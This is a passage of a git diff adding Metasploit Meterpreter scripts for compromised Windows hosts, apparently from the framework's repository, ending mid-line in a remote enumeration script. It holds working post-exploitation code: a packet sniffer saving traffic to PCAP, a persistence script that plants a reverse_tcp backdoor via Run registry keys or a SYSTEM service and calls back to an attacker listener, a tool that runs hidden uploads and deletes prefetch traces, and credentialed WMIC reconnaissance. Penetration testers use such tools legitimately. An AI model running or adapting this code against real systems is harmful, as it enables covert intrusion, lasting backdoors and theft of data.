|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
|
||||
@client = client
|
||||
|
||||
# Interval for recording packets
|
||||
rec_time = 30
|
||||
|
||||
# Interface ID
|
||||
int_id = nil
|
||||
|
||||
# List Interfaces
|
||||
list_int = nil
|
||||
|
||||
# Log Folder
|
||||
log_dest = nil
|
||||
@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],
|
||||
"-i" => [ true, "Interface ID number where all packet capture will be done."],
|
||||
"-li" => [ false, "List interfaces that can be used for capture."],
|
||||
"-l" => [ true, "Specify and alternate folder to save PCAP file."]
|
||||
)
|
||||
meter_type = client.platform
|
||||
|
||||
################## Function Declarations ##################
|
||||
|
||||
# Usage Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def usage
|
||||
print_line "Meterpreter Script for capturing packets in to a PCAP file"
|
||||
print_line "on a target host given a interface ID."
|
||||
print_line(@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Function for creating log folder and returning log pa
|
||||
#-------------------------------------------------------------------------------
|
||||
def log_file(log_path = nil)
|
||||
#Get hostname
|
||||
host = @client.sys.config.sysinfo["Computer"]
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
if log_path
|
||||
logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo )
|
||||
else
|
||||
logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo )
|
||||
end
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
#logfile name
|
||||
logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
|
||||
return Rex::FileUtils.clean_path(logfile)
|
||||
end
|
||||
|
||||
#Function for Starting Capture
|
||||
#-------------------------------------------------------------------------------
|
||||
def startsniff(interface_id)
|
||||
begin
|
||||
#Load Sniffer module
|
||||
@client.core.use("sniffer")
|
||||
print_status("Starting Packet capture on interface #{interface_id}")
|
||||
#starting packet capture with a buffer size of 200,000 packets
|
||||
@client.sniffer.capture_start(interface_id, 200000)
|
||||
print_good("Packet capture started")
|
||||
rescue ::Exception => e
|
||||
print_status("Error Starting Packet Capture: #{e.class} #{e}")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
#Function for Recording captured packets into PCAP file
|
||||
#-------------------------------------------------------------------------------
|
||||
def packetrecord(packtime, logfile,intid)
|
||||
begin
|
||||
rec = 1
|
||||
print_status("Packets being saved in to #{logfile}")
|
||||
print_status("Packet capture interval is #{packtime} Seconds")
|
||||
#Inserting Packets every number of seconds specified
|
||||
while rec == 1
|
||||
path_cap = logfile
|
||||
path_raw = logfile + '.raw'
|
||||
fd = ::File.new(path_raw, 'wb+')
|
||||
#Flushing Buffers
|
||||
res = @client.sniffer.capture_dump(intid)
|
||||
bytes_all = res[:bytes] || 0
|
||||
bytes_got = 0
|
||||
bytes_pct = 0
|
||||
while (bytes_all > 0)
|
||||
res = @client.sniffer.capture_dump_read(intid,1024*512)
|
||||
bytes_got += res[:bytes]
|
||||
pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
|
||||
if(pct > bytes_pct)
|
||||
bytes_pct = pct
|
||||
end
|
||||
break if res[:bytes] == 0
|
||||
fd.write(res[:data])
|
||||
end
|
||||
|
||||
fd.close
|
||||
#Converting raw file to PCAP
|
||||
fd = nil
|
||||
if(::File.exist?(path_cap))
|
||||
fd = ::File.new(path_cap, 'ab+')
|
||||
else
|
||||
fd = ::File.new(path_cap, 'wb+')
|
||||
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
|
||||
end
|
||||
od = ::File.new(path_raw, 'rb')
|
||||
|
||||
# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
|
||||
while(true)
|
||||
buf = od.read(20)
|
||||
break if not buf
|
||||
|
||||
idh,idl,thi,tlo,len = buf.unpack('N5')
|
||||
break if not len
|
||||
if(len > 10000)
|
||||
print_error("Corrupted packet data (length:#{len})")
|
||||
break
|
||||
end
|
||||
|
||||
pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
|
||||
pkt = od.read(len)
|
||||
fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
|
||||
end
|
||||
od.close
|
||||
fd.close
|
||||
|
||||
::File.unlink(path_raw)
|
||||
sleep(2)
|
||||
sleep(packtime.to_i)
|
||||
|
||||
end
|
||||
rescue::Exception => e
|
||||
print("\n")
|
||||
print_status("#{e.class} #{e}")
|
||||
print_good("Stopping Packet sniffer...")
|
||||
@client.sniffer.capture_stop(intid)
|
||||
end
|
||||
end
|
||||
|
||||
# Function for listing interfaces
|
||||
# ------------------------------------------------------------------------------
|
||||
def int_list()
|
||||
begin
|
||||
@client.core.use("sniffer")
|
||||
ifaces = @client.sniffer.interfaces()
|
||||
|
||||
print_line()
|
||||
|
||||
ifaces.each do |i|
|
||||
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
|
||||
i['idx'], i['description'],
|
||||
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
|
||||
)
|
||||
end
|
||||
|
||||
print_line()
|
||||
rescue ::Exception => e
|
||||
print_error("Error listing interface: #{e.class} #{e}")
|
||||
end
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
################## Main ##################
|
||||
@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-i"
|
||||
int_id = val.to_i
|
||||
when "-l"
|
||||
log_dest = val
|
||||
when "-li"
|
||||
list_int = 1
|
||||
when "-t"
|
||||
rec_time = val
|
||||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
|
||||
|
||||
if !int_id.nil? or !list_int.nil?
|
||||
if not is_uac_enabled? or is_admin?
|
||||
if !list_int.nil?
|
||||
int_list
|
||||
else
|
||||
pcap_file = log_file(log_dest)
|
||||
startsniff(int_id)
|
||||
packetrecord(rec_time,pcap_file,int_id)
|
||||
end
|
||||
else
|
||||
print_error("Access denied (UAC enabled?)")
|
||||
end
|
||||
else
|
||||
usage
|
||||
end
|
259
scripts/meterpreter/persistence.rb
Normal file
259
scripts/meterpreter/persistence.rb
Normal file
@ -0,0 +1,259 @@
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
# Meterpreter Session
|
||||
@client = client
|
||||
|
||||
key = "HKLM"
|
||||
|
||||
# Default parameters for payload
|
||||
rhost = Rex::Socket.source_address("1.2.3.4")
|
||||
rport = 4444
|
||||
delay = 5
|
||||
install = false
|
||||
autoconn = false
|
||||
serv = false
|
||||
altexe = nil
|
||||
target_dir = nil
|
||||
payload_type = "windows/meterpreter/reverse_tcp"
|
||||
script = nil
|
||||
script_on_target = nil
|
||||
|
||||
|
||||
@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
||||
"-p" => [ true, "The port on which the system running Metasploit is listening"],
|
||||
"-i" => [ true, "The interval in seconds between each connection attempt"],
|
||||
"-X" => [ false, "Automatically start the agent when the system boots"],
|
||||
"-U" => [ false, "Automatically start the agent when the User logs on"],
|
||||
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
|
||||
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"],
|
||||
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
|
||||
"-T" => [ true, "Alternate executable template to use"],
|
||||
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
|
||||
)
|
||||
|
||||
################## Function Declarations ##################
|
||||
|
||||
# Usage Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def usage
|
||||
print_line "Meterpreter Script for creating a persistent backdoor on a target host."
|
||||
print_line(@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Function for Creating the Payload
|
||||
#-------------------------------------------------------------------------------
|
||||
def create_payload(payload_type,lhost,lport)
|
||||
print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
|
||||
payload = payload_type
|
||||
pay = client.framework.payloads.create(payload)
|
||||
pay.datastore['LHOST'] = lhost
|
||||
pay.datastore['LPORT'] = lport
|
||||
return pay.generate
|
||||
end
|
||||
|
||||
# Function for Creating persistent script
|
||||
#-------------------------------------------------------------------------------
|
||||
def create_script(delay,altexe,raw,is_x64)
|
||||
if is_x64
|
||||
if altexe
|
||||
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay, :template => altexe})
|
||||
else
|
||||
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay})
|
||||
end
|
||||
else
|
||||
if altexe
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay, :template => altexe})
|
||||
else
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay})
|
||||
end
|
||||
end
|
||||
print_status("Persistent agent script is #{vbs.length} bytes long")
|
||||
return vbs
|
||||
end
|
||||
|
||||
# Function for creating log folder and returning log path
|
||||
#-------------------------------------------------------------------------------
|
||||
def log_file(log_path = nil)
|
||||
#Get hostname
|
||||
host = @client.sys.config.sysinfo["Computer"]
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
if log_path
|
||||
logs = ::File.join(log_path, 'logs', 'persistence',
|
||||
Rex::FileUtils.clean_path(host + filenameinfo) )
|
||||
else
|
||||
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
||||
Rex::FileUtils.clean_path(host + filenameinfo) )
|
||||
end
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
#logfile name
|
||||
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
||||
return logfile
|
||||
end
|
||||
|
||||
# Function for writing script to target host
|
||||
#-------------------------------------------------------------------------------
|
||||
def write_script_to_target(target_dir,vbs)
|
||||
if target_dir
|
||||
tempdir = target_dir
|
||||
else
|
||||
tempdir = @client.fs.file.expand_path("%TEMP%")
|
||||
end
|
||||
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
||||
fd = @client.fs.file.new(tempvbs, "wb")
|
||||
fd.write(vbs)
|
||||
fd.close
|
||||
print_good("Persistent Script written to #{tempvbs}")
|
||||
# Escape windows pathname separators.
|
||||
file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
|
||||
return tempvbs
|
||||
end
|
||||
|
||||
# Function for setting exploit/multi/handler for autocon
|
||||
#-------------------------------------------------------------------------------
|
||||
def set_handler(selected_payload,rhost,rport)
|
||||
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
|
||||
mul = client.framework.exploits.create("multi/handler")
|
||||
mul.datastore['WORKSPACE'] = @client.workspace
|
||||
mul.datastore['PAYLOAD'] = selected_payload
|
||||
mul.datastore['LHOST'] = rhost
|
||||
mul.datastore['LPORT'] = rport
|
||||
mul.datastore['EXITFUNC'] = 'process'
|
||||
mul.datastore['ExitOnSession'] = false
|
||||
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
print_good("exploit/multi/handler started!")
|
||||
end
|
||||
|
||||
# Function to execute script on target and return the PID of the process
|
||||
#-------------------------------------------------------------------------------
|
||||
def targets_exec(script_on_target)
|
||||
print_status("Executing script #{script_on_target}")
|
||||
proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
|
||||
print_good("Agent executed with PID #{proc.pid}")
|
||||
return proc.pid
|
||||
end
|
||||
|
||||
# Function to install payload in to the registry HKLM or HKCU
|
||||
#-------------------------------------------------------------------------------
|
||||
def write_to_reg(key,script_on_target)
|
||||
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
print_status("Installing into autorun as #{key_path}\\#{nam}")
|
||||
if key
|
||||
registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
|
||||
print_good("Installed into autorun as #{key_path}\\#{nam}")
|
||||
file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
|
||||
else
|
||||
print_error("Error: failed to open the registry key for writing")
|
||||
end
|
||||
end
|
||||
|
||||
# Function to install payload as a service
|
||||
#-------------------------------------------------------------------------------
|
||||
def install_as_service(script_on_target)
|
||||
if not is_uac_enabled? or is_admin?
|
||||
print_status("Installing as service..")
|
||||
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
print_status("Creating service #{nam}")
|
||||
service_create(nam, nam, "cscript \"#{script_on_target}\"")
|
||||
file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
|
||||
else
|
||||
print_error("Insufficient privileges to create service")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
################## Main ##################
|
||||
@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-r"
|
||||
rhost = val
|
||||
when "-p"
|
||||
rport = val.to_i
|
||||
when "-i"
|
||||
delay = val.to_i
|
||||
when "-X"
|
||||
install = true
|
||||
key = "HKLM"
|
||||
when "-S"
|
||||
serv = true
|
||||
when "-U"
|
||||
install = true
|
||||
key = "HKCU"
|
||||
when "-A"
|
||||
autoconn = true
|
||||
when "-L"
|
||||
target_dir = val
|
||||
when "-T"
|
||||
altexe = val
|
||||
when "-P"
|
||||
payload_type = val
|
||||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
unless client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
|
||||
wrong_meter_version(client.session_type)
|
||||
end
|
||||
|
||||
print_status("Running Persistence Script")
|
||||
# Create undo script
|
||||
@clean_up_rc = log_file()
|
||||
print_status("Resource file for cleanup created at #{@clean_up_rc}")
|
||||
# Create and Upload Payload
|
||||
raw = create_payload(payload_type, rhost, rport)
|
||||
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
|
||||
script_on_target = write_script_to_target(target_dir, script)
|
||||
|
||||
# Start exploit/multi/handler
|
||||
if autoconn
|
||||
set_handler(payload_type, rhost, rport)
|
||||
end
|
||||
|
||||
# Execute on target host
|
||||
targets_exec(script_on_target)
|
||||
|
||||
# Install in registry
|
||||
if install
|
||||
write_to_reg(key,script_on_target)
|
||||
end
|
||||
|
||||
# Install as a service
|
||||
if serv
|
||||
install_as_service(script_on_target)
|
||||
end
|
||||
|
195
scripts/meterpreter/prefetchtool.rb
Normal file
195
scripts/meterpreter/prefetchtool.rb
Normal file
@ -0,0 +1,195 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#Meterpreter script for extracting information from windows prefetch folder
|
||||
#Provided by Milo at keith.lee2012[at]gmail.com
|
||||
#Verion: 0.1.0
|
||||
|
||||
require 'fileutils'
|
||||
require 'net/http'
|
||||
require 'digest/sha1'
|
||||
|
||||
@session = client
|
||||
@host,@port = @session.session_host, session.session_port
|
||||
|
||||
# Script Options
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-p" => [ false, "List Installed Programs"],
|
||||
"-c" => [ false, "Disable SHA1/MD5 checksum"],
|
||||
"-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"],
|
||||
"-i" => [ false, "Perform lookup for software name"],
|
||||
"-l" => [ false, "Download Prefetch Folder Analysis Log"]
|
||||
)
|
||||
|
||||
@tempdir = @session.sys.config.getenv('TEMP')
|
||||
|
||||
#---------------------------------------------------------------------------------------------------------
|
||||
def read_program_list
|
||||
key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ)
|
||||
sfmsvals = key.enum_key
|
||||
sfmsvals.each do |test1|
|
||||
begin
|
||||
key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1
|
||||
root_key2, base_key2 = @session.sys.registry.splitkey(key2)
|
||||
value1 = "DisplayName"
|
||||
value2 = "DisplayVersion"
|
||||
open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ)
|
||||
v1 = open_key.query_value(value1)
|
||||
v2 = open_key.query_value(value2)
|
||||
print_status("#{v1.data}\t(Version: #{v2.data})")
|
||||
rescue
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def prefetch_dump(options, logging=false)
|
||||
|
||||
lexe = File.join(Msf::Config.data_directory, "prefetch.exe")
|
||||
rexe = sprintf("%.5d",rand(100000)) + ".exe"
|
||||
rlog = sprintf("%.5d",rand(100000)) + ".txt"
|
||||
|
||||
print_status("Uploading Prefetch-tool for analyzing Prefetch folder...")
|
||||
begin
|
||||
@session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe)
|
||||
print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}")
|
||||
rescue ::Interrupt; raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("The following error was encountered: #{e.class} #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
|
||||
if(logging)
|
||||
options += " --txt=#{@tempdir}\\#{rlog}"
|
||||
end
|
||||
|
||||
r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
d.split("\n").each do |out|
|
||||
print_status("OUT> #{out.strip}")
|
||||
end
|
||||
end
|
||||
|
||||
found = true
|
||||
while (not found)
|
||||
found = false
|
||||
@session.sys.process.get_processes().each do |x|
|
||||
found = false
|
||||
if (x['name'].downcase == rexe)
|
||||
found = true
|
||||
end
|
||||
end
|
||||
sleep(0.5) if found
|
||||
end
|
||||
|
||||
r.channel.close
|
||||
r.close
|
||||
|
||||
print_status("Deleting #{rexe} from target...")
|
||||
@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'})
|
||||
|
||||
print_status("Clearing prefetch-tool prefetch entry ...")
|
||||
@session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'})
|
||||
|
||||
if(logging)
|
||||
logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log")
|
||||
print_status("[*] Saving prefetch logs to #{logfile}...")
|
||||
@session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}")
|
||||
print_status("[*] Deleting log file from target...")
|
||||
@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'})
|
||||
end
|
||||
|
||||
rescue ::Interrupt; raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("The following error was encountered: #{e.class} #{e}")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#check for proper Meterpreter Platform
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
|
||||
################## MAIN ##################
|
||||
|
||||
options = ""
|
||||
logging = false
|
||||
view_list = false
|
||||
check_update = false
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-x"
|
||||
options += " --x=" + val
|
||||
when "-c"
|
||||
options += " --disable-md5 --disable-sha1"
|
||||
when "-p"
|
||||
view_list = true
|
||||
when "-i"
|
||||
options += " --inet-lookup"
|
||||
when "-l"
|
||||
logging = true
|
||||
when "-h"
|
||||
print_status( "Prefetch-tool Meterpreter Script")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe")
|
||||
|
||||
if !(::File.exist?(prefetch_local))
|
||||
print_status("No local copy of prefetch.exe, downloading from the internet...")
|
||||
Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
|
||||
req = Net::HTTP::Get.new("/files/prefetch.exe")
|
||||
resp = http.request(req)
|
||||
::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
|
||||
fd.write(resp.body)
|
||||
end
|
||||
end
|
||||
print_status("Downloaded prefetch.exe to #{prefetch_local}")
|
||||
else
|
||||
print_status("Checking for an updated copy of prefetch.exe..")
|
||||
digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local)))
|
||||
|
||||
Net::HTTP.start("code.google.com") do |http|
|
||||
req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=")
|
||||
resp = http.request(req)
|
||||
body = resp.body
|
||||
chksum = body.scan(/SHA1 Checksum: <\/th><td style="white-space:nowrap">.* <a href/)[0]
|
||||
chksum.sub!(/SHA1 Checksum: <\/th><td style="white-space:nowrap"> /,'')
|
||||
chksum.sub!(/ <a href/,'')
|
||||
|
||||
if (digest != chksum)
|
||||
print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...")
|
||||
Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
|
||||
req = Net::HTTP::Get.new("/files/prefetch.exe")
|
||||
resp = http.request(req)
|
||||
::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
|
||||
fd.write(resp.body)
|
||||
end
|
||||
end
|
||||
print_status("Downloaded prefetch.exe to #{prefetch_local}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (view_list)
|
||||
read_program_list()
|
||||
end
|
||||
|
||||
print_status("Running Prefetch-tool script...")
|
||||
prefetch_dump(options, logging)
|
||||
|
196
scripts/meterpreter/remotewinenum.rb
Normal file
196
scripts/meterpreter/remotewinenum.rb
Normal file
@ -0,0 +1,196 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
session = client
|
||||
# Variables for Options
|
||||
helpcall = 0
|
||||
rusr = nil
|
||||
rpass = nil
|
||||
trg = ""
|
||||
# Script Options
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-t" => [ true, "The target address"],
|
||||
"-u" => [ true, "User on the target system (If not provided it will use credential of process)"],
|
||||
"-p" => [ true, "Password of user on target system"]
|
||||
)
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum')
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
# WMIC Commands that will be executed on the Target
|
||||
wmic = [
|
||||
'environment list',
|
||||
'share list',
|
||||
'nicconfig list',
|
||||
'computersystem list',
|
||||
'useraccount list',
|
||||
'group list',
|
||||
'sysaccount list',
|
||||
'volume list brief',
|
||||
'logicaldisk get description,filesystem,name,size',
|
||||
'netlogin get name,lastlogon,badpasswordcount',
|
||||
'netclient list brief',
|
||||
'netuse get name,username,connectiontype,localname',
|
||||
'share get name,path',
|
||||
'nteventlog get path,filename,writeable',
|
||||
'service list brief',
|
||||
'process list brief',
|
||||
'startup list full',
|
||||
'rdtoggle list',
|
||||
'product get name,version',
|
||||
'qfe list'
|
||||
]
|
||||
################## Function Declarations ##################
|
||||
|
||||
# Function for running a list of WMIC commands stored in a array, returs string
|
||||
def wmicexec(session,wmic,user,pass,trgt)
|
||||
print_status("Running WMIC Commands ....")
|
||||
tmpout = ''
|
||||
command = nil
|
||||
runfail = 0
|
||||
runningas = session.sys.config.getuid
|
||||
begin
|
||||
tmp = session.sys.config.getenv('TEMP')
|
||||
# Temporary file on windows host to store results
|
||||
wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"
|
||||
|
||||
wmic.each do |wmi|
|
||||
if user == nil
|
||||
print_status("The commands will be ran under the credentials of #{runningas}")
|
||||
command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"
|
||||
else
|
||||
command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"
|
||||
end
|
||||
print_status "\trunning command wimic #{wmi}"
|
||||
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
||||
sleep(1)
|
||||
r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
||||
sleep(1)
|
||||
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
||||
sleep(1)
|
||||
#print_status "\twmic #{command}"
|
||||
r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})
|
||||
#Making sure that wmic finishes before executing next wmic command
|
||||
prog2check = "wmic.exe"
|
||||
found = 0
|
||||
sleep(2)
|
||||
while found == 0
|
||||
session.sys.process.get_processes().each do |x|
|
||||
found =1
|
||||
if prog2check == (x['name'].downcase)
|
||||
sleep(0.5)
|
||||
found = 0
|
||||
end
|
||||
end
|
||||
end
|
||||
r.close
|
||||
end
|
||||
# Read the output file of the wmic commands
|
||||
wmioutfile = session.fs.file.new(wmicfl, "rb")
|
||||
until wmioutfile.eof?
|
||||
tmpout << wmioutfile.read
|
||||
end
|
||||
# Close output file in host
|
||||
wmioutfile.close
|
||||
rescue ::Exception => e
|
||||
print_status("Error running WMIC commands: #{e.class} #{e}")
|
||||
end
|
||||
# We delete the file with the wmic command output.
|
||||
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
|
||||
c.close
|
||||
tmpout
|
||||
end
|
||||
|
||||
#------------------------------------------------------------------------------
|
||||
# Function to generate report header
|
||||
def headerbuid(session,target,dest)
|
||||
# Header for File that will hold all the output of the commands
|
||||
info = session.sys.config.sysinfo
|
||||
header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
|
||||
header << "Running as: #{client.sys.config.getuid}\n"
|
||||
header << "From: #{info['Computer']}\n"
|
||||
header << "OS: #{info['OS']}\n"
|
||||
header << "Target: #{target}\n"
|
||||
header << "\n\n\n"
|
||||
|
||||
print_status("Saving report to #{dest}")
|
||||
header
|
||||
|
||||
end
|
||||
|
||||
#------------------------------------------------------------------------------
|
||||
# Function Help Message
|
||||
def helpmsg
|
||||
print("Remote Windows Enumeration Meterpreter Script\n" +
|
||||
"This script will enumerate windows hosts in the target enviroment\n" +
|
||||
"given a username and password or using the credential under witch\n" +
|
||||
"Meterpeter is running using WMI wmic windows native tool.\n" +
|
||||
"Usage:\n" +
|
||||
@@exec_opts.usage)
|
||||
end
|
||||
################## MAIN ##################
|
||||
if client.platform =~ /win32|win64/
|
||||
localos = session.sys.config.sysinfo
|
||||
|
||||
# Check that the command is not being ran on a Win2k host
|
||||
# since wmic is not present in Windows 2000
|
||||
if localos =~ /(Windows 2000)/
|
||||
print_status("This script is not supported to be ran from Windows 2000 servers!!!")
|
||||
else
|
||||
# Parsing of Options
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
|
||||
when "-t"
|
||||
trg = val
|
||||
when "-u"
|
||||
rusr = val
|
||||
when "-p"
|
||||
rpass = val
|
||||
when "-h"
|
||||
helpmsg
|
||||
helpcall = 1
|
||||
end
|
||||
|
||||
}
|
||||
#logfile name
|
||||
dest = logs + "/" + trg + filenameinfo
|
||||
# Executing main logic of the script
|
||||
if helpcall == 0 and trg != ""
